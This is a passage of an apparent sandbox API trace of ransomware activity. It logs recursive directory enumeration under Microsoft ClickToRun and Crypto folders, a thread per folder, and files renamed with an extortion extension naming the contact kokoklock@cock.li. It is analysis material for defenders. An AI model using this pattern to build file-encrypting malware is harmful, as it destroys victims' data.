ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x86290f6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="D20D9E~1.D0E")) returned 1 [0173.973] wcscmp (_String1="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.973] wcscmp (_String1="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.973] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12c) returned 0x3045ed0 [0173.973] wcscpy (in: _Dest=0x3045ed0, _Source="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys" [0173.973] wcscat (in: _Dest=0x3045ed0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\" [0173.973] wcscat (in: _Dest=0x3045ed0, _Source="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731" [0173.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0173.973] FindNextFileW (in: hFindFile=0x2f7fd20, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x86290f6e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="D20D9E~1.D0E")) returned 0 [0173.974] FindClose (in: hFindFile=0x2f7fd20 | out: hFindFile=0x2f7fd20) returned 1 [0173.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ba68) returned 1 [0173.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057750) returned 1 [0173.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87af8) returned 1 [0173.974] RtlExitUserThread (Status=0x0) Thread: id = 2188 os_tid = 0x1318 [0173.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee390 [0173.707] wcscpy (in: _Dest=0x2fee390, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0173.707] wcscat (in: _Dest=0x2fee390, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\" [0173.707] wcscat (in: _Dest=0x2fee390, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*" [0173.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bcd0 [0173.707] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\*", lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb20 [0173.709] wcscmp (_String1=".", _String2=".") returned 0 [0173.709] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.709] wcscmp (_String1="..", _String2=".") returned 1 [0173.709] wcscmp (_String1="..", _String2="..") returned 0 [0173.709] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6a5650a, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af7fc80, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af7fc80, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0173.709] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0173.709] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0173.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056eb0 [0173.709] wcscpy (in: _Dest=0x3056eb0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0173.709] wcscat (in: _Dest=0x3056eb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\" [0173.709] wcscat (in: _Dest=0x3056eb0, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16" [0173.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056eb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440 [0173.970] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af0d5de, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0173.970] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0173.970] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0173.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x3056c88 [0173.970] wcscpy (in: _Dest=0x3056c88, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4" [0173.970] wcscat (in: _Dest=0x3056c88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\" [0173.970] wcscat (in: _Dest=0x3056c88, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16" [0173.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0173.971] FindNextFileW (in: hFindFile=0x2f7fb20, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0x8af0d5de, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8af0d5de, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0173.971] FindClose (in: hFindFile=0x2f7fb20 | out: hFindFile=0x2f7fb20) returned 1 [0173.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bcd0) returned 1 [0173.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee390) returned 1 [0173.971] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee588) returned 1 [0173.971] RtlExitUserThread (Status=0x0) Thread: id = 2189 os_tid = 0x131c [0173.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee630 [0173.709] wcscpy (in: _Dest=0x2fee630, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0173.710] wcscat (in: _Dest=0x2fee630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\" [0173.710] wcscat (in: _Dest=0x2fee630, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*" [0173.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bf38 [0173.710] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\*", lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fb60 [0173.711] wcscmp (_String1=".", _String2=".") returned 0 [0173.711] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.711] wcscmp (_String1="..", _String2=".") returned 1 [0173.711] wcscmp (_String1="..", _String2="..") returned 0 [0173.711] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8be1a3cd, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8be1a3cd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0173.711] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0173.711] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0173.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3057020 [0173.711] wcscpy (in: _Dest=0x3057020, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0173.711] wcscat (in: _Dest=0x3057020, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\" [0173.711] wcscat (in: _Dest=0x3057020, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" [0173.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3057020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444 [0173.967] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8b018867, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b018867, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0173.967] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0173.967] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0173.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x3056bd0 [0173.967] wcscpy (in: _Dest=0x3056bd0, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" [0173.967] wcscat (in: _Dest=0x3056bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\" [0173.967] wcscat (in: _Dest=0x3056bd0, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" [0173.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0173.968] FindNextFileW (in: hFindFile=0x2f7fb60, lpFindFileData=0x2f9bf38 | out: lpFindFileData=0x2f9bf38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x8b018867, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b018867, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0173.968] FindClose (in: hFindFile=0x2f7fb60 | out: hFindFile=0x2f7fb60) returned 1 [0173.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9bf38) returned 1 [0173.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee630) returned 1 [0173.968] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee2e8) returned 1 [0173.968] RtlExitUserThread (Status=0x0) Thread: id = 2190 os_tid = 0x1320 [0173.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9e) returned 0x2fee780 [0173.711] wcscpy (in: _Dest=0x2fee780, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0173.711] wcscat (in: _Dest=0x2fee780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\" [0173.711] wcscat (in: _Dest=0x2fee780, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*" [0173.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9c1a0 [0173.712] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\*", lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fbe0 [0173.713] wcscmp (_String1=".", _String2=".") returned 0 [0173.713] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.713] wcscmp (_String1="..", _String2=".") returned 1 [0173.713] wcscmp (_String1="..", _String2="..") returned 0 [0173.713] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bd5b7d6, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bd5b7d6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us.16", cAlternateFileName="")) returned 1 [0173.713] wcscmp (_String1="en-us.16", _String2=".") returned 1 [0173.713] wcscmp (_String1="en-us.16", _String2="..") returned 1 [0173.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30570d8 [0173.713] wcscpy (in: _Dest=0x30570d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0173.713] wcscat (in: _Dest=0x30570d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\" [0173.713] wcscat (in: _Dest=0x30570d8, _Source="en-us.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16" [0173.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30570d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448 [0173.964] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bdf407e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bdf407e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 1 [0173.964] wcscmp (_String1="x-none.16", _String2=".") returned 1 [0173.964] wcscmp (_String1="x-none.16", _String2="..") returned 1 [0173.964] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xae) returned 0x3056b18 [0173.964] wcscpy (in: _Dest=0x3056b18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6" [0173.964] wcscat (in: _Dest=0x3056b18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\" [0173.964] wcscat (in: _Dest=0x3056b18, _Source="x-none.16" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16" [0173.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e8 [0173.965] FindNextFileW (in: hFindFile=0x2f7fbe0, lpFindFileData=0x2f9c1a0 | out: lpFindFileData=0x2f9c1a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f9a029, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8bdf407e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bdf407e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0 [0173.965] FindClose (in: hFindFile=0x2f7fbe0 | out: hFindFile=0x2f7fbe0) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c1a0) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee780) returned 1 [0173.966] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee438) returned 1 [0173.966] RtlExitUserThread (Status=0x0) Thread: id = 2191 os_tid = 0x1324 [0173.714] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\deploymentconfig.0.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.714] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.mailto[kokoklock@cock.li].d0e731" 